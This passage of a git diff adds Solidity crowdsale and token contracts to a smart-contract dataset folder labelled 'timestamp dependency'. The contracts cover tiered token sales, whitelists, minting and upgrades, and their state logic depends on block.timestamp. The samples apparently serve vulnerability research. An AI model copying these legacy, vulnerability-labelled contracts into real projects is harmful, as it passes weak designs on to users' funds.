_value); + return true; + } + + function transferFrom(address _from, address _to, uint _value) returns (bool success) { + uint _allowance = allowed[_from][msg.sender]; + + balances[_to] = safeAdd(balances[_to], _value); + balances[_from] = safeSub(balances[_from], _value); + allowed[_from][msg.sender] = safeSub(_allowance, _value); + Transfer(_from, _to, _value); + return true; + } + + function balanceOf(address _owner) constant returns (uint balance) { + return balances[_owner]; + } + + function approve(address _spender, uint _value) returns (bool success) { + + + + + + if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; + + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) constant returns (uint remaining) { + return allowed[_owner][_spender]; + } + +} + + + + + + + + + + + + +contract UpgradeAgent { + + uint public originalSupply; + + + function isUpgradeAgent() public constant returns (bool) { + return true; + } + + function upgradeFrom(address _from, uint256 _value) public; + +} + + + +contract UpgradeableToken is StandardToken { + + + address public upgradeMaster; + + + UpgradeAgent public upgradeAgent; + + + uint256 public totalUpgraded; + + + enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading} + + + event Upgrade(address indexed _from, address indexed _to, uint256 _value); + + + event UpgradeAgentSet(address agent); + + + function UpgradeableToken(address _upgradeMaster) { + upgradeMaster = _upgradeMaster; + } + + + function upgrade(uint256 value) public { + + UpgradeState state = getUpgradeState(); + if(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) { + + throw; + } + + + if (value == 0) throw; + + balances[msg.sender] = safeSub(balances[msg.sender], value); + + + totalSupply = safeSub(totalSupply, value); + totalUpgraded = safeAdd(totalUpgraded, value); + + + upgradeAgent.upgradeFrom(msg.sender, value); + Upgrade(msg.sender, upgradeAgent, value); + } + + + function setUpgradeAgent(address agent) external { + + if(!canUpgrade()) { + + throw; + } + + if (agent == 0x0) throw; + + if (msg.sender != upgradeMaster) throw; + + if (getUpgradeState() == UpgradeState.Upgrading) throw; + + upgradeAgent = UpgradeAgent(agent); + + + if(!upgradeAgent.isUpgradeAgent()) throw; + + if (upgradeAgent.originalSupply() != totalSupply) throw; + + UpgradeAgentSet(upgradeAgent); + } + + + function getUpgradeState() public constant returns(UpgradeState) { + if(!canUpgrade()) return UpgradeState.NotAllowed; + else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent; + else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade; + else return UpgradeState.Upgrading; + } + + + function setUpgradeMaster(address master) public { + if (master == 0x0) throw; + if (msg.sender != upgradeMaster) throw; + upgradeMaster = master; + } + + + function canUpgrade() public constant returns(bool) { + return true; + } + +} + + + + + + + + + + +contract ReleasableToken is ERC20, Ownable { + + + address public releaseAgent; + + + bool public released = false; + + + mapping (address => bool) public transferAgents; + + + modifier canTransfer(address _sender) { + + if(!released) { + if(!transferAgents[_sender]) { + throw; + } + } + + _; + } + + + function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public { + + + releaseAgent = addr; + } + + + function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public { + transferAgents[addr] = state; + } + + + function releaseTokenTransfer() public onlyReleaseAgent { + released = true; + } + + + modifier inReleaseState(bool releaseState) { + if(releaseState != released) { + throw; + } + _; + } + + + modifier onlyReleaseAgent() { + if(msg.sender != releaseAgent) { + throw; + } + _; + } + + function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) { + + return super.transfer(_to, _value); + } + + function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) { + + return super.transferFrom(_from, _to, _value); + } + +} + + + + + + + + + + + +contract MintableTokenExt is StandardToken, Ownable { + + using SafeMathLibExt for uint; + + bool public mintingFinished = false; + + + mapping (address => bool) public mintAgents; + + event MintingAgentChanged(address addr, bool state ); + + + struct ReservedTokensData { + uint inTokens; + uint inPercentageUnit; + uint inPercentageDecimals; + bool isReserved; + bool isDistributed; + } + + mapping (address => ReservedTokensData) public reservedTokensList; + address[] public reservedTokensDestinations; + uint public reservedTokensDestinationsLen = 0; + bool reservedTokensDestinationsAreSet = false; + + modifier onlyMintAgent() { + + if(!mintAgents[msg.sender]) { + throw; + } + _; + } + + + modifier canMint() { + if(mintingFinished) throw; + _; + } + + function finalizeReservedAddress(address addr) public onlyMintAgent canMint { + ReservedTokensData storage reservedTokensData = reservedTokensList[addr]; + reservedTokensData.isDistributed = true; + } + + function isAddressReserved(address addr) public constant returns (bool isReserved) { + return reservedTokensList[addr].isReserved; + } + + function areTokensDistributedForAddress(address addr) public constant returns (bool isDistributed) { + return reservedTokensList[addr].isDistributed; + } + + function getReservedTokens(address addr) public constant returns (uint inTokens) { + return reservedTokensList[addr].inTokens; + } + + function getReservedPercentageUnit(address addr) public constant returns (uint inPercentageUnit) { + return reservedTokensList[addr].inPercentageUnit; + } + + function getReservedPercentageDecimals(address addr) public constant returns (uint inPercentageDecimals) { + return reservedTokensList[addr].inPercentageDecimals; + } + + function setReservedTokensListMultiple( + address[] addrs, + uint[] inTokens, + uint[] inPercentageUnit, + uint[] inPercentageDecimals + ) public canMint onlyOwner { + assert(!reservedTokensDestinationsAreSet); + assert(addrs.length == inTokens.length); + assert(inTokens.length == inPercentageUnit.length); + assert(inPercentageUnit.length == inPercentageDecimals.length); + for (uint iterator = 0; iterator < addrs.length; iterator++) { + if (addrs[iterator] != address(0)) { + setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator]); + } + } + reservedTokensDestinationsAreSet = true; + } + + + function mint(address receiver, uint amount) onlyMintAgent canMint public { + totalSupply = totalSupply.plus(amount); + balances[receiver] = balances[receiver].plus(amount); + + + + Transfer(0, receiver, amount); + } + + + function setMintAgent(address addr, bool state) onlyOwner canMint public { + mintAgents[addr] = state; + MintingAgentChanged(addr, state); + } + + function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals) private canMint onlyOwner { + assert(addr != address(0)); + if (!isAddressReserved(addr)) { + reservedTokensDestinations.push(addr); + reservedTokensDestinationsLen++; + } + + reservedTokensList[addr] = ReservedTokensData({ + inTokens: inTokens, + inPercentageUnit: inPercentageUnit, + inPercentageDecimals: inPercentageDecimals, + isReserved: true, + isDistributed: false + }); + } +} + + + +contract CrowdsaleTokenExt is ReleasableToken, MintableTokenExt, UpgradeableToken { + + + event UpdatedTokenInformation(string newName, string newSymbol); + + event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); + + string public name; + + string public symbol; + + uint public decimals; + + + uint public minCap; + + + function CrowdsaleTokenExt(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable, uint _globalMinCap) + UpgradeableToken(msg.sender) { + + + + + owner = msg.sender; + + name = _name; + symbol = _symbol; + + totalSupply = _initialSupply; + + decimals = _decimals; + + minCap = _globalMinCap; + + + balances[owner] = totalSupply; + + if(totalSupply > 0) { + Minted(owner, totalSupply); + } + + + if(!_mintable) { + mintingFinished = true; + if(totalSupply == 0) { + throw; + } + } + } + + + function releaseTokenTransfer() public onlyReleaseAgent { + mintingFinished = true; + super.releaseTokenTransfer(); + } + + + function canUpgrade() public constant returns(bool) { + return released && super.canUpgrade(); + } + + + function setTokenInformation(string _name, string _symbol) onlyOwner { + name = _name; + symbol = _symbol; + + UpdatedTokenInformation(name, symbol); + } + + + function claimTokens(address _token) public onlyOwner { + require(_token != address(0)); + + ERC20 token = ERC20(_token); + uint balance = token.balanceOf(this); + token.transfer(owner, balance); + + ClaimedTokens(_token, owner, balance); + } + +} + + + +contract ReservedTokensFinalizeAgent is FinalizeAgent { + using SafeMathLibExt for uint; + CrowdsaleTokenExt public token; + CrowdsaleExt public crowdsale; + + uint public distributedReservedTokensDestinationsLen = 0; + + function ReservedTokensFinalizeAgent(CrowdsaleTokenExt _token, CrowdsaleExt _crowdsale) public { + token = _token; + crowdsale = _crowdsale; + } + + + function isSane() public constant returns (bool) { + return (token.releaseAgent() == address(this)); + } + + + function distributeReservedTokens(uint reservedTokensDistributionBatch) public { + assert(msg.sender == address(crowdsale)); + + assert(reservedTokensDistributionBatch > 0); + assert(!reservedTokensAreDistributed); + assert(distributedReservedTokensDestinationsLen < token.reservedTokensDestinationsLen()); + + + + uint tokensSold = 0; + for (uint8 i = 0; i < crowdsale.joinedCrowdsalesLen(); i++) { + CrowdsaleExt tier = CrowdsaleExt(crowdsale.joinedCrowdsales(i)); + tokensSold = tokensSold.plus(tier.tokensSold()); + } + + uint startLooping = distributedReservedTokensDestinationsLen; + uint batch = token.reservedTokensDestinationsLen().minus(distributedReservedTokensDestinationsLen); + if (batch >= reservedTokensDistributionBatch) { + batch = reservedTokensDistributionBatch; + } + uint endLooping = startLooping + batch; + + + for (uint j = startLooping; j < endLooping; j++) { + address reservedAddr = token.reservedTokensDestinations(j); + if (!token.areTokensDistributedForAddress(reservedAddr)) { + uint allocatedBonusInPercentage; + uint allocatedBonusInTokens = token.getReservedTokens(reservedAddr); + uint percentsOfTokensUnit = token.getReservedPercentageUnit(reservedAddr); + uint percentsOfTokensDecimals = token.getReservedPercentageDecimals(reservedAddr); + + if (percentsOfTokensUnit > 0) { + allocatedBonusInPercentage = tokensSold * percentsOfTokensUnit / 10**percentsOfTokensDecimals / 100; + token.mint(reservedAddr, allocatedBonusInPercentage); + } + + if (allocatedBonusInTokens > 0) { + token.mint(reservedAddr, allocatedBonusInTokens); + } + + token.finalizeReservedAddress(reservedAddr); + distributedReservedTokensDestinationsLen++; + } + } + + if (distributedReservedTokensDestinationsLen == token.reservedTokensDestinationsLen()) { + reservedTokensAreDistributed = true; + } + } + + + function finalizeCrowdsale() public { + assert(msg.sender == address(crowdsale)); + + if (token.reservedTokensDestinationsLen() > 0) { + assert(reservedTokensAreDistributed); + } + + token.releaseTokenTransfer(); + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/6404.sol b/smart_contract_dataset/timestamp dependency/6404.sol new file mode 100644 index 0000000000000000000000000000000000000000..0cf97716ffe1952a4b78387eaa7ee50c9c533948 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/6404.sol @@ -0,0 +1,1014 @@ + + + +pragma solidity ^0.4.8; + + + +contract SafeMath { + function safeMul(uint a, uint b) internal returns (uint) { + uint c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function safeDiv(uint a, uint b) internal returns (uint) { + assert(b > 0); + uint c = a / b; + assert(a == b * c + a % b); + return c; + } + + function safeSub(uint a, uint b) internal returns (uint) { + assert(b <= a); + return a - b; + } + + function safeAdd(uint a, uint b) internal returns (uint) { + uint c = a + b; + assert(c>=a && c>=b); + return c; + } + + function max64(uint64 a, uint64 b) internal constant returns (uint64) { + return a >= b ? a : b; + } + + function min64(uint64 a, uint64 b) internal constant returns (uint64) { + return a < b ? a : b; + } + + function max256(uint256 a, uint256 b) internal constant returns (uint256) { + return a >= b ? a : b; + } + + function min256(uint256 a, uint256 b) internal constant returns (uint256) { + return a < b ? a : b; + } + +} + + + + +contract ERC20Basic { + uint256 public totalSupply; + function balanceOf(address who) public constant returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + + + +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + + function Ownable() { + owner = msg.sender; + } + + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + + function transferOwnership(address newOwner) onlyOwner public { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + + + + + + + + + + + + + +library SafeMathLibExt { + + function times(uint a, uint b) returns (uint) { + uint c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function divides(uint a, uint b) returns (uint) { + assert(b > 0); + uint c = a / b; + assert(a == b * c + a % b); + return c; + } + + function minus(uint a, uint b) returns (uint) { + assert(b <= a); + return a - b; + } + + function plus(uint a, uint b) returns (uint) { + uint c = a + b; + assert(c>=a); + return c; + } + +} + + + + + + + + +contract Haltable is Ownable { + bool public halted; + + modifier stopInEmergency { + if (halted) throw; + _; + } + + modifier stopNonOwnersInEmergency { + if (halted && msg.sender != owner) throw; + _; + } + + modifier onlyInEmergency { + if (!halted) throw; + _; + } + + + function halt() external onlyOwner { + halted = true; + } + + + function unhalt() external onlyOwner onlyInEmergency { + halted = false; + } + +} + + + + + + +contract PricingStrategy { + + address public tier; + + + function isPricingStrategy() public constant returns (bool) { + return true; + } + + + function isSane(address crowdsale) public constant returns (bool) { + return true; + } + + + function isPresalePurchase(address purchaser) public constant returns (bool) { + return false; + } + + + function updateRate(uint newOneTokenInWei) public; + + + function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount); +} + + + + + + +contract FinalizeAgent { + + bool public reservedTokensAreDistributed = false; + + function isFinalizeAgent() public constant returns(bool) { + return true; + } + + + function isSane() public constant returns (bool); + + function distributeReservedTokens(uint reservedTokensDistributionBatch); + + + function finalizeCrowdsale(); + +} + + + + + + + + + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public constant returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + + +contract FractionalERC20Ext is ERC20 { + + uint public decimals; + uint public minCap; + +} + + + + +contract CrowdsaleExt is Haltable { + + + uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5; + + using SafeMathLibExt for uint; + + + FractionalERC20Ext public token; + + + PricingStrategy public pricingStrategy; + + + FinalizeAgent public finalizeAgent; + + + string public name; + + + address public multisigWallet; + + + uint public minimumFundingGoal; + + + uint public startsAt; + + + uint public endsAt; + + + uint public tokensSold = 0; + + + uint public weiRaised = 0; + + + uint public investorCount = 0; + + + bool public finalized; + + bool public isWhiteListed; + + address[] public joinedCrowdsales; + uint8 public joinedCrowdsalesLen = 0; + uint8 public joinedCrowdsalesLenMax = 50; + struct JoinedCrowdsaleStatus { + bool isJoined; + uint8 position; + } + mapping (address => JoinedCrowdsaleStatus) joinedCrowdsaleState; + + + mapping (address => uint256) public investedAmountOf; + + + mapping (address => uint256) public tokenAmountOf; + + struct WhiteListData { + bool status; + uint minCap; + uint maxCap; + } + + + bool public isUpdatable; + + + mapping (address => WhiteListData) public earlyParticipantWhitelist; + + + address[] public whitelistedParticipants; + + + uint public ownerTestValue; + + + enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized} + + + event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId); + + + event Whitelisted(address addr, bool status, uint minCap, uint maxCap); + event WhitelistItemChanged(address addr, bool status, uint minCap, uint maxCap); + + + event StartsAtChanged(uint newStartsAt); + + + event EndsAtChanged(uint newEndsAt); + + function CrowdsaleExt(string _name, address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, bool _isUpdatable, bool _isWhiteListed) { + + owner = msg.sender; + + name = _name; + + token = FractionalERC20Ext(_token); + + setPricingStrategy(_pricingStrategy); + + multisigWallet = _multisigWallet; + if(multisigWallet == 0) { + throw; + } + + if(_start == 0) { + throw; + } + + startsAt = _start; + + if(_end == 0) { + throw; + } + + endsAt = _end; + + + if(startsAt >= endsAt) { + throw; + } + + + minimumFundingGoal = _minimumFundingGoal; + + isUpdatable = _isUpdatable; + + isWhiteListed = _isWhiteListed; + } + + + function() payable { + throw; + } + + + function investInternal(address receiver, uint128 customerId) stopInEmergency private { + + + if(getState() == State.PreFunding) { + + throw; + } else if(getState() == State.Funding) { + + + if(isWhiteListed) { + if(!earlyParticipantWhitelist[receiver].status) { + throw; + } + } + } else { + + throw; + } + + uint weiAmount = msg.value; + + + uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals()); + + if(tokenAmount == 0) { + + throw; + } + + if(isWhiteListed) { + if(tokenAmount < earlyParticipantWhitelist[receiver].minCap && tokenAmountOf[receiver] == 0) { + + throw; + } + + + if (isBreakingInvestorCap(receiver, tokenAmount)) { + throw; + } + + updateInheritedEarlyParticipantWhitelist(receiver, tokenAmount); + } else { + if(tokenAmount < token.minCap() && tokenAmountOf[receiver] == 0) { + throw; + } + } + + if(investedAmountOf[receiver] == 0) { + + investorCount++; + } + + + investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); + tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); + + + weiRaised = weiRaised.plus(weiAmount); + tokensSold = tokensSold.plus(tokenAmount); + + + if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) { + throw; + } + + assignTokens(receiver, tokenAmount); + + + if(!multisigWallet.send(weiAmount)) throw; + + + Invested(receiver, weiAmount, tokenAmount, customerId); + } + + + function invest(address addr) public payable { + investInternal(addr, 0); + } + + + function buy() public payable { + invest(msg.sender); + } + + function distributeReservedTokens(uint reservedTokensDistributionBatch) public inState(State.Success) onlyOwner stopInEmergency { + + if(finalized) { + throw; + } + + + if(address(finalizeAgent) != address(0)) { + finalizeAgent.distributeReservedTokens(reservedTokensDistributionBatch); + } + } + + function areReservedTokensDistributed() public constant returns (bool) { + return finalizeAgent.reservedTokensAreDistributed(); + } + + function canDistributeReservedTokens() public constant returns(bool) { + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if ((lastTierCntrct.getState() == State.Success) && !lastTierCntrct.halted() && !lastTierCntrct.finalized() && !lastTierCntrct.areReservedTokensDistributed()) return true; + return false; + } + + + function finalize() public inState(State.Success) onlyOwner stopInEmergency { + + + if(finalized) { + throw; + } + + + if(address(finalizeAgent) != address(0)) { + finalizeAgent.finalizeCrowdsale(); + } + + finalized = true; + } + + + function setFinalizeAgent(FinalizeAgent addr) public onlyOwner { + assert(address(addr) != address(0)); + assert(address(finalizeAgent) == address(0)); + finalizeAgent = addr; + + + if(!finalizeAgent.isFinalizeAgent()) { + throw; + } + } + + + function setEarlyParticipantWhitelist(address addr, bool status, uint minCap, uint maxCap) public onlyOwner { + if (!isWhiteListed) throw; + assert(addr != address(0)); + assert(maxCap > 0); + assert(minCap <= maxCap); + assert(now <= endsAt); + + if (!isAddressWhitelisted(addr)) { + whitelistedParticipants.push(addr); + Whitelisted(addr, status, minCap, maxCap); + } else { + WhitelistItemChanged(addr, status, minCap, maxCap); + } + + earlyParticipantWhitelist[addr] = WhiteListData({status:status, minCap:minCap, maxCap:maxCap}); + } + + function setEarlyParticipantWhitelistMultiple(address[] addrs, bool[] statuses, uint[] minCaps, uint[] maxCaps) public onlyOwner { + if (!isWhiteListed) throw; + assert(now <= endsAt); + assert(addrs.length == statuses.length); + assert(statuses.length == minCaps.length); + assert(minCaps.length == maxCaps.length); + for (uint iterator = 0; iterator < addrs.length; iterator++) { + setEarlyParticipantWhitelist(addrs[iterator], statuses[iterator], minCaps[iterator], maxCaps[iterator]); + } + } + + function updateInheritedEarlyParticipantWhitelist(address reciever, uint tokensBought) private { + if (!isWhiteListed) throw; + if (tokensBought < earlyParticipantWhitelist[reciever].minCap && tokenAmountOf[reciever] == 0) throw; + + uint8 tierPosition = getTierPosition(this); + + for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + crowdsale.updateEarlyParticipantWhitelist(reciever, tokensBought); + } + } + + function updateEarlyParticipantWhitelist(address addr, uint tokensBought) public { + if (!isWhiteListed) throw; + assert(addr != address(0)); + assert(now <= endsAt); + assert(isTierJoined(msg.sender)); + if (tokensBought < earlyParticipantWhitelist[addr].minCap && tokenAmountOf[addr] == 0) throw; + + uint newMaxCap = earlyParticipantWhitelist[addr].maxCap; + newMaxCap = newMaxCap.minus(tokensBought); + earlyParticipantWhitelist[addr] = WhiteListData({status:earlyParticipantWhitelist[addr].status, minCap:0, maxCap:newMaxCap}); + } + + function isAddressWhitelisted(address addr) public constant returns(bool) { + for (uint i = 0; i < whitelistedParticipants.length; i++) { + if (whitelistedParticipants[i] == addr) { + return true; + break; + } + } + + return false; + } + + function whitelistedParticipantsLength() public constant returns (uint) { + return whitelistedParticipants.length; + } + + function isTierJoined(address addr) public constant returns(bool) { + return joinedCrowdsaleState[addr].isJoined; + } + + function getTierPosition(address addr) public constant returns(uint8) { + return joinedCrowdsaleState[addr].position; + } + + function getLastTier() public constant returns(address) { + if (joinedCrowdsalesLen > 0) + return joinedCrowdsales[joinedCrowdsalesLen - 1]; + else + return address(0); + } + + function setJoinedCrowdsales(address addr) private onlyOwner { + assert(addr != address(0)); + assert(joinedCrowdsalesLen <= joinedCrowdsalesLenMax); + assert(!isTierJoined(addr)); + joinedCrowdsales.push(addr); + joinedCrowdsaleState[addr] = JoinedCrowdsaleStatus({ + isJoined: true, + position: joinedCrowdsalesLen + }); + joinedCrowdsalesLen++; + } + + function updateJoinedCrowdsalesMultiple(address[] addrs) public onlyOwner { + assert(addrs.length > 0); + assert(joinedCrowdsalesLen == 0); + assert(addrs.length <= joinedCrowdsalesLenMax); + for (uint8 iter = 0; iter < addrs.length; iter++) { + setJoinedCrowdsales(addrs[iter]); + } + } + + function setStartsAt(uint time) onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= time); + assert(time <= endsAt); + assert(now <= startsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if (lastTierCntrct.finalized()) throw; + + uint8 tierPosition = getTierPosition(this); + + + for (uint8 j = 0; j < tierPosition; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + assert(time >= crowdsale.endsAt()); + } + + startsAt = time; + StartsAtChanged(startsAt); + } + + + function setEndsAt(uint time) public onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= time); + assert(startsAt <= time); + assert(now <= endsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if (lastTierCntrct.finalized()) throw; + + + uint8 tierPosition = getTierPosition(this); + + for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + assert(time <= crowdsale.startsAt()); + } + + endsAt = time; + EndsAtChanged(endsAt); + } + + + function setPricingStrategy(PricingStrategy _pricingStrategy) public onlyOwner { + assert(address(_pricingStrategy) != address(0)); + assert(address(pricingStrategy) == address(0)); + pricingStrategy = _pricingStrategy; + + + if(!pricingStrategy.isPricingStrategy()) { + throw; + } + } + + + function setMultisig(address addr) public onlyOwner { + + + if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) { + throw; + } + + multisigWallet = addr; + } + + + function isMinimumGoalReached() public constant returns (bool reached) { + return weiRaised >= minimumFundingGoal; + } + + + function isFinalizerSane() public constant returns (bool sane) { + return finalizeAgent.isSane(); + } + + + function isPricingSane() public constant returns (bool sane) { + return pricingStrategy.isSane(address(this)); + } + + + function getState() public constant returns (State) { + if(finalized) return State.Finalized; + else if (address(finalizeAgent) == 0) return State.Preparing; + else if (!finalizeAgent.isSane()) return State.Preparing; + else if (!pricingStrategy.isSane(address(this))) return State.Preparing; + else if (block.timestamp < startsAt) return State.PreFunding; + else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding; + else if (isMinimumGoalReached()) return State.Success; + else return State.Failure; + } + + + function isCrowdsale() public constant returns (bool) { + return true; + } + + + + + + + modifier inState(State state) { + if(getState() != state) throw; + _; + } + + + + + + + + function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken); + + function isBreakingInvestorCap(address receiver, uint tokenAmount) public constant returns (bool limitBroken); + + + function isCrowdsaleFull() public constant returns (bool); + + + function assignTokens(address receiver, uint tokenAmount) private; +} + + + + + + + + + + + + + + + +contract StandardToken is ERC20, SafeMath { + + + event Minted(address receiver, uint amount); + + + mapping(address => uint) balances; + + + mapping (address => mapping (address => uint)) allowed; + + + function isToken() public constant returns (bool weAre) { + return true; + } + + function transfer(address _to, uint _value) returns (bool success) { + balances[msg.sender] = safeSub(balances[msg.sender], _value); + balances[_to] = safeAdd(balances[_to], _value); + Transfer(msg.sender, _to, _value); + return true; + } + + function transferFrom(address _from, address _to, uint _value) returns (bool success) { + uint _allowance = allowed[_from][msg.sender]; + + balances[_to] = safeAdd(balances[_to], _value); + balances[_from] = safeSub(balances[_from], _value); + allowed[_from][msg.sender] = safeSub(_allowance, _value); + Transfer(_from, _to, _value); + return true; + } + + function balanceOf(address _owner) constant returns (uint balance) { + return balances[_owner]; + } + + function approve(address _spender, uint _value) returns (bool success) { + + + + + + if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; + + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) constant returns (uint remaining) { + return allowed[_owner][_spender]; + } + +} + + + + + + +contract MintableTokenExt is StandardToken, Ownable { + + using SafeMathLibExt for uint; + + bool public mintingFinished = false; + + + mapping (address => bool) public mintAgents; + + event MintingAgentChanged(address addr, bool state ); + + + struct ReservedTokensData { + uint inTokens; + uint inPercentageUnit; + uint inPercentageDecimals; + bool isReserved; + bool isDistributed; + } + + mapping (address => ReservedTokensData) public reservedTokensList; + address[] public reservedTokensDestinations; + uint public reservedTokensDestinationsLen = 0; + bool reservedTokensDestinationsAreSet = false; + + modifier onlyMintAgent() { + + if(!mintAgents[msg.sender]) { + throw; + } + _; + } + + + modifier canMint() { + if(mintingFinished) throw; + _; + } + + function finalizeReservedAddress(address addr) public onlyMintAgent canMint { + ReservedTokensData storage reservedTokensData = reservedTokensList[addr]; + reservedTokensData.isDistributed = true; + } + + function isAddressReserved(address addr) public constant returns (bool isReserved) { + return reservedTokensList[addr].isReserved; + } + + function areTokensDistributedForAddress(address addr) public constant returns (bool isDistributed) { + return reservedTokensList[addr].isDistributed; + } + + function getReservedTokens(address addr) public constant returns (uint inTokens) { + return reservedTokensList[addr].inTokens; + } + + function getReservedPercentageUnit(address addr) public constant returns (uint inPercentageUnit) { + return reservedTokensList[addr].inPercentageUnit; + } + + function getReservedPercentageDecimals(address addr) public constant returns (uint inPercentageDecimals) { + return reservedTokensList[addr].inPercentageDecimals; + } + + function setReservedTokensListMultiple( + address[] addrs, + uint[] inTokens, + uint[] inPercentageUnit, + uint[] inPercentageDecimals + ) public canMint onlyOwner { + assert(!reservedTokensDestinationsAreSet); + assert(addrs.length == inTokens.length); + assert(inTokens.length == inPercentageUnit.length); + assert(inPercentageUnit.length == inPercentageDecimals.length); + for (uint iterator = 0; iterator < addrs.length; iterator++) { + if (addrs[iterator] != address(0)) { + setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator]); + } + } + reservedTokensDestinationsAreSet = true; + } + + + function mint(address receiver, uint amount) onlyMintAgent canMint public { + totalSupply = totalSupply.plus(amount); + balances[receiver] = balances[receiver].plus(amount); + + + + Transfer(0, receiver, amount); + } + + + function setMintAgent(address addr, bool state) onlyOwner canMint public { + mintAgents[addr] = state; + MintingAgentChanged(addr, state); + } + + function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals) private canMint onlyOwner { + assert(addr != address(0)); + if (!isAddressReserved(addr)) { + reservedTokensDestinations.push(addr); + reservedTokensDestinationsLen++; + } + + reservedTokensList[addr] = ReservedTokensData({ + inTokens: inTokens, + inPercentageUnit: inPercentageUnit, + inPercentageDecimals: inPercentageDecimals, + isReserved: true, + isDistributed: false + }); + } +} + + +contract MintedTokenCappedCrowdsaleExt is CrowdsaleExt { + + + uint public maximumSellableTokens; + + function MintedTokenCappedCrowdsaleExt( + string _name, + address _token, + PricingStrategy _pricingStrategy, + address _multisigWallet, + uint _start, uint _end, + uint _minimumFundingGoal, + uint _maximumSellableTokens, + bool _isUpdatable, + bool _isWhiteListed + ) CrowdsaleExt(_name, _token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal, _isUpdatable, _isWhiteListed) { + maximumSellableTokens = _maximumSellableTokens; + } + + + event MaximumSellableTokensChanged(uint newMaximumSellableTokens); + + + function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken) { + return tokensSoldTotal > maximumSellableTokens; + } + + function isBreakingInvestorCap(address addr, uint tokenAmount) public constant returns (bool limitBroken) { + assert(isWhiteListed); + uint maxCap = earlyParticipantWhitelist[addr].maxCap; + return (tokenAmountOf[addr].plus(tokenAmount)) > maxCap; + } + + function isCrowdsaleFull() public constant returns (bool) { + return tokensSold >= maximumSellableTokens; + } + + function setMaximumSellableTokens(uint tokens) public onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= startsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + assert(!lastTierCntrct.finalized()); + + maximumSellableTokens = tokens; + MaximumSellableTokensChanged(maximumSellableTokens); + } + + function updateRate(uint newOneTokenInWei) public onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= startsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + assert(!lastTierCntrct.finalized()); + + pricingStrategy.updateRate(newOneTokenInWei); + } + + + function assignTokens(address receiver, uint tokenAmount) private { + MintableTokenExt mintableToken = MintableTokenExt(token); + mintableToken.mint(receiver, tokenAmount); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/6472.sol b/smart_contract_dataset/timestamp dependency/6472.sol new file mode 100644 index 0000000000000000000000000000000000000000..e9da2ac3f310bcc8f8cc37cae35fac97d7b81fb7 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/6472.sol @@ -0,0 +1,1366 @@ +pragma solidity 0.4.24; + + 